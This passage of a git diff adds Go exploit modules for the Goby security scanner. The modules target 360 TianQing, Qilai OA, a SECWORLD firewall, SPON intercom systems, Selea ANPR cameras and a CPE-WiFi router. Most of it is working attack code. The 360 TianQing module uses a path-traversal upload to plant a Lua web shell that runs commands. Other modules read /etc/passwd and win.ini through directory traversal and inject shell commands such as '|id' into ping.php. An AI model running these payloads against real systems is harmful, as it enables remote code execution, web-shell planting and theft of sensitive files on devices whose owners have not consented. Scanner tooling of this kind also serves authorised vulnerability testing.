"ExploitSteps": null, + "Tags": ["getshell"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["360-TianQing"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + randomFilename := goutils.RandomHexString(4) + cfg := httpclient.NewPostRequestConfig(fmt.Sprintf("/api/client_upload_file.json?mid=202cb962ac59075b964b07152d234b10&md5=3cb95cfbe1035bce8c448fcaf80fe7d9&filename=../../lua/%s.LUAC", randomFilename)) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Referer", u.FixedHostInfo) + cfg.Header.Store("Cookie", "SKYLARe6721bd9ccd89f1a7ee7d79d35=71jm0o74c4k934fqechjeau0f7; YII_CSRF_TOKEN=74eae12048c53a096d8053873d9462ad07f1c51cs%3A40%3A%228a2d2746bb28b7bb46f038160b5e2c6d5b095d64%22%3B") + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryLx7ATxHThfk91oxQ") + cfg.Data = "------WebKitFormBoundaryLx7ATxHThfk91oxQ\r\n" + cfg.Data += "Content-Disposition: form-data; name=\"file\"; filename=\"flash.php\"\r\n" + cfg.Data += "Content-Type: application/xxxx\r\n\r\n" + cfg.Data += "hello,world\r\n" + cfg.Data += "------WebKitFormBoundaryLx7ATxHThfk91oxQ--" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil && resp.StatusCode == 200 { + return strings.Contains(resp.Utf8Html, "\"status\":true") && + strings.Contains(resp.Utf8Html, "upload file success") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + randomFilename := goutils.RandomHexString(4) + cfg := httpclient.NewPostRequestConfig(fmt.Sprintf("/api/client_upload_file.json?mid=202cb962ac59075b964b07152d234b10&md5=88aca4dfc84d8abd8c2b01a572d60339&filename=../../lua/%s.LUAC", randomFilename)) + //cfg := httpclient.NewPostRequestConfig("/api/client_upload_file.json?mid=202cb962ac59075b964b07152d234b10&md5=88aca4dfc84d8abd8c2b01a572d60339&filename=../../lua/sky.LUAC") + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Referer", expResult.HostInfo.FixedHostInfo) + cfg.Header.Store("Cookie", "SKYLARe6721bd9ccd89f1a7ee7d79d35=71jm0o74c4k934fqechjeau0f7; YII_CSRF_TOKEN=74eae12048c53a096d8053873d9462ad07f1c51cs%3A40%3A%228a2d2746bb28b7bb46f038160b5e2c6d5b095d64%22%3B") + cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryLx7ATxHThfk91oxQ") + cfg.Data = "------WebKitFormBoundaryLx7ATxHThfk91oxQ\r\n" + cfg.Data += "Content-Disposition: form-data; name=\"file\"; filename=\"flash.php\"\r\n" + cfg.Data += "Content-Type: application/xxxx\r\n\r\n" + cfg.Data += "if ngx.req.get_uri_args().cmd then\r\n" + cfg.Data += "cmd = ngx.req.get_uri_args().cmd\r\n" + cfg.Data += "local t = io.popen(cmd)\r\n" + cfg.Data += "local a = t:read(\"*all\")\r\n" + cfg.Data += "ngx.say(a)\r\n" + cfg.Data += "end\r\n" + cfg.Data += "------WebKitFormBoundaryLx7ATxHThfk91oxQ--" + httpclient.DoHttpRequest(expResult.HostInfo, cfg) + cmd := ss.Params["cmd"].(string) + if resp, err := httpclient.SimpleGet(expResult.HostInfo.FixedHostInfo + fmt.Sprintf("/api/%s.json?cmd=%s", randomFilename, cmd)); err == nil && resp.StatusCode == 200 { + expResult.Success = true + expResult.Output = resp.Utf8Html + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/Qilai_OA_CloseMsg.aspx_SQL_injection.go b/lib/goby/goby_pocs/Qilai_OA_CloseMsg.aspx_SQL_injection.go new file mode 100644 index 000000000..d57e49144 --- /dev/null +++ b/lib/goby/goby_pocs/Qilai_OA_CloseMsg.aspx_SQL_injection.go @@ -0,0 +1,89 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Qilai OA CloseMsg.aspx SQL injection", + "Description": "Qilai OA CloseMsg.aspx SQL injection", + "Product": "Qilai OA", + "Homepage": "https://qioa.company.xuanruanjian.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"qiOA\"", + "Level": "2", + "Impact": "SQL injection", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["SQL injection"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["qiOA"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/client/CloseMsg.aspx?user='&pwd=1" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 500 && strings.Contains(resp.Utf8Html, "C4CA4238A0B923820DCC509A6F75849B") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SECWORLD_Next_generation_firewall_pki_file_download_File_read.go b/lib/goby/goby_pocs/SECWORLD_Next_generation_firewall_pki_file_download_File_read.go new file mode 100644 index 000000000..930601bae --- /dev/null +++ b/lib/goby/goby_pocs/SECWORLD_Next_generation_firewall_pki_file_download_File_read.go @@ -0,0 +1,101 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "SECWORLD Next generation firewall pki_file_download File read", + "Description": "SECWORLD Next generation firewall pki_file_download File read", + "Product": "SECWORLD Next generation firewall", + "Homepage": "https://www.netentsec.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "(app=\"Secworld-Firewall\" || title=\"网神下一代极速防火墙\")", + "Level": "1", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["SECWORLD Next generation firewall"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/?g=pki_file_download&filename=../../../../../etc/passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root:") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/?g=pki_file_download&filename=../../../../../etc/passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_exportrecord.php_any_file_download.go b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_exportrecord.php_any_file_download.go new file mode 100644 index 000000000..db8c99adf --- /dev/null +++ b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_exportrecord.php_any_file_download.go @@ -0,0 +1,134 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "SPON IP network intercom broadcast system exportrecord.php any file download", + "Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information", + "Product": "SPON IP network intercom broadcast system", + "Homepage": "https://www.spon.com.cn/", + "DisclosureDate": "2021-08-24", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"lan/manifest.json\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system

", + "Recommandation": "

Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file

", + "References": [], + "HasExp": true, + "ExpParams": [ + { + "name": "filepath", + "type": "createSelect", + "value": "../php/exportrecord.php,C:/ICPAS/Wnmp/WWW/php/exportrecord.php,C:/windows/win.ini,/etc/passwd,/proc/version,/home/xc9000/Wnmp/WWW/php/exportrecord.php", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/php/exportrecord.php?downname=c:/windows/win.ini", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "[fonts]", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/php/exportrecord.php?downname=../../../../../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/php/exportrecord.php?downname={{{filepath}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file download" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["SPON IP network intercom broadcast system"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_getjson.php_Arbitrary_file_read.go b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_getjson.php_Arbitrary_file_read.go new file mode 100644 index 000000000..b202c1df8 --- /dev/null +++ b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_getjson.php_Arbitrary_file_read.go @@ -0,0 +1,142 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "SPON IP network intercom broadcast system getjson.php Arbitrary file read", + "Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information", + "Product": "SPON IP network intercom broadcast system", + "Homepage": "https://www.spon.com.cn/", + "DisclosureDate": "2021-08-24", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"lan/manifest.json\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system

", + "Recommandation": "

Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file

", + "References": [], + "HasExp": true, + "ExpParams": [ + { + "name": "filepath", + "type": "createSelect", + "value": "../php/getjson.php,../../../../../../windows/win.ini,../../../../../../etc/passwd,../../../../../../proc/version", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "POST", + "uri": "/php/getjson.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[filename]=../../../../../../windows/win.ini" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "[fonts]", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "POST", + "uri": "/php/getjson.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[filename]=../../../../../../../etc/passwd" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/php/getjson.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[filename]={{{filepath}}}" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "SPON IP network intercom broadcast system" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_ping.php_RCE.go b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_ping.php_RCE.go new file mode 100644 index 000000000..4e14524d6 --- /dev/null +++ b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_ping.php_RCE.go @@ -0,0 +1,142 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "SPON IP network intercom broadcast system ping.php RCE", + "Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information", + "Product": "SPON IP network intercom broadcast system", + "Homepage": "https://www.spon.com.cn/", + "DisclosureDate": "2021-08-24", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"lan/manifest.json\"", + "Level": "3", + "Impact": "

Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters.&amp;nbsp; Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker.&amp;nbsp; &amp;nbsp;Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.

", + "Recommandation": "

1. Verify the validity of the value passed by the parameter

2. Restrict the execution permission of the application

", + "References": [], + "HasExp": true, + "ExpParams": [ + { + "name": "Command", + "type": "createSelect", + "value": "type C:\\Windows\\win.ini,dir,whoami,id,cat /etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "POST", + "uri": "/php/ping.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[ip]=%7Ctype C:\\Windows\\win.ini&jsondata[type]=0" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "[fonts]", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "POST", + "uri": "/php/ping.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[ip]=%7Cid&jsondata[type]=0" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "uid=", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/php/ping.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[ip]=%7C{{{Command}}}&jsondata[type]=0" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "SPON IP network intercom broadcast system" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_rj_get_token.php_any_file_read.go b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_rj_get_token.php_any_file_read.go new file mode 100644 index 000000000..bfb8d41fb --- /dev/null +++ b/lib/goby/goby_pocs/SPON_IP_network_intercom_broadcast_system_rj_get_token.php_any_file_read.go @@ -0,0 +1,109 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "SPON IP network intercom broadcast system ping.php any file read", + "Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information", + "Product": "SPON IP network intercom broadcast system", + "Homepage": "https://www.spon.com.cn/", + "DisclosureDate": "2021-08-24", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"lan/manifest.json\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system

", + "Recommandation": "

Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file

", + "References": [ + "cnvd" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "filepath", + "type": "createSelect", + "value": "../php/rj_get_token.php,C:/ICPAS/Wnmp/WWW/php/rj_get_token.php,C:/windows/win.ini,/etc/passwd,/proc/version", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/php/rj_get_token.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[url]=../php/getjson.php" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "$_POST", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/php/rj_get_token.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "jsondata[url]={{{filepath}}}" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["SPON IP network intercom broadcast system"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Selea_OCR_ANPR_SeleaCamera_File_read.go b/lib/goby/goby_pocs/Selea_OCR_ANPR_SeleaCamera_File_read.go new file mode 100644 index 000000000..6d4dc3a40 --- /dev/null +++ b/lib/goby/goby_pocs/Selea_OCR_ANPR_SeleaCamera_File_read.go @@ -0,0 +1,105 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Selea OCR-ANPR SeleaCamera File read", + "Description": "Selea OCR-ANPR SeleaCamera File read", + "Product": "Selea OCR-ANPR", + "Homepage": "https://www.selea.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "title=\"Selea ANPR Camera\"", + "Level": "1", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Selea OCR-ANPR"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root:") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f.." + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Selea_OCR_ANPR_get_file.php_File_read.go b/lib/goby/goby_pocs/Selea_OCR_ANPR_get_file.php_File_read.go new file mode 100644 index 000000000..f1dedae59 --- /dev/null +++ b/lib/goby/goby_pocs/Selea_OCR_ANPR_get_file.php_File_read.go @@ -0,0 +1,107 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Selea OCR-ANPR get_file.php File read", + "Description": "Selea OCR-ANPR get_file.php File read", + "Product": "Selea OCR-ANPR", + "Homepage": "https://www.selea.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "title=\"Selea ANPR Camera\"", + "Level": "1", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Selea OCR-ANPR"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/cgi-bin/get_file.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "name=pq&files_list=/etc/passwd" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "etc/passwd") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/cgi-bin/get_file.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = fmt.Sprintf("name=pq&files_list=%s", file) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__ping_RCE.go b/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__ping_RCE.go new file mode 100644 index 000000000..95785e0ea --- /dev/null +++ b/lib/goby/goby_pocs/Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__ping_RCE.go @@ -0,0 +1,118 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Shenzhen West dieter Technology Co LTD CPE-WiFi tracert RCE", + "Description": "Shenzhen West dieter Technology Co., LTD CPE-WiFi Command execution vulnerability exists, and attackers can use this vulnerability to execute system commands. ", + "Product": "CPE-WiFi", + "Homepage": "https://cdatatec.com.cn/", + "DisclosureDate": "2021-08-20", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"Wi-Fi Web管理\"", + "Level": "3", + "Impact": "

Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters.&nbsp; Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker.&nbsp; &nbsp;Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.

", + "Recommandation": "

1. Verify the validity of the value passed by the parameter

2. Restrict the execution permission of the application&nbsp

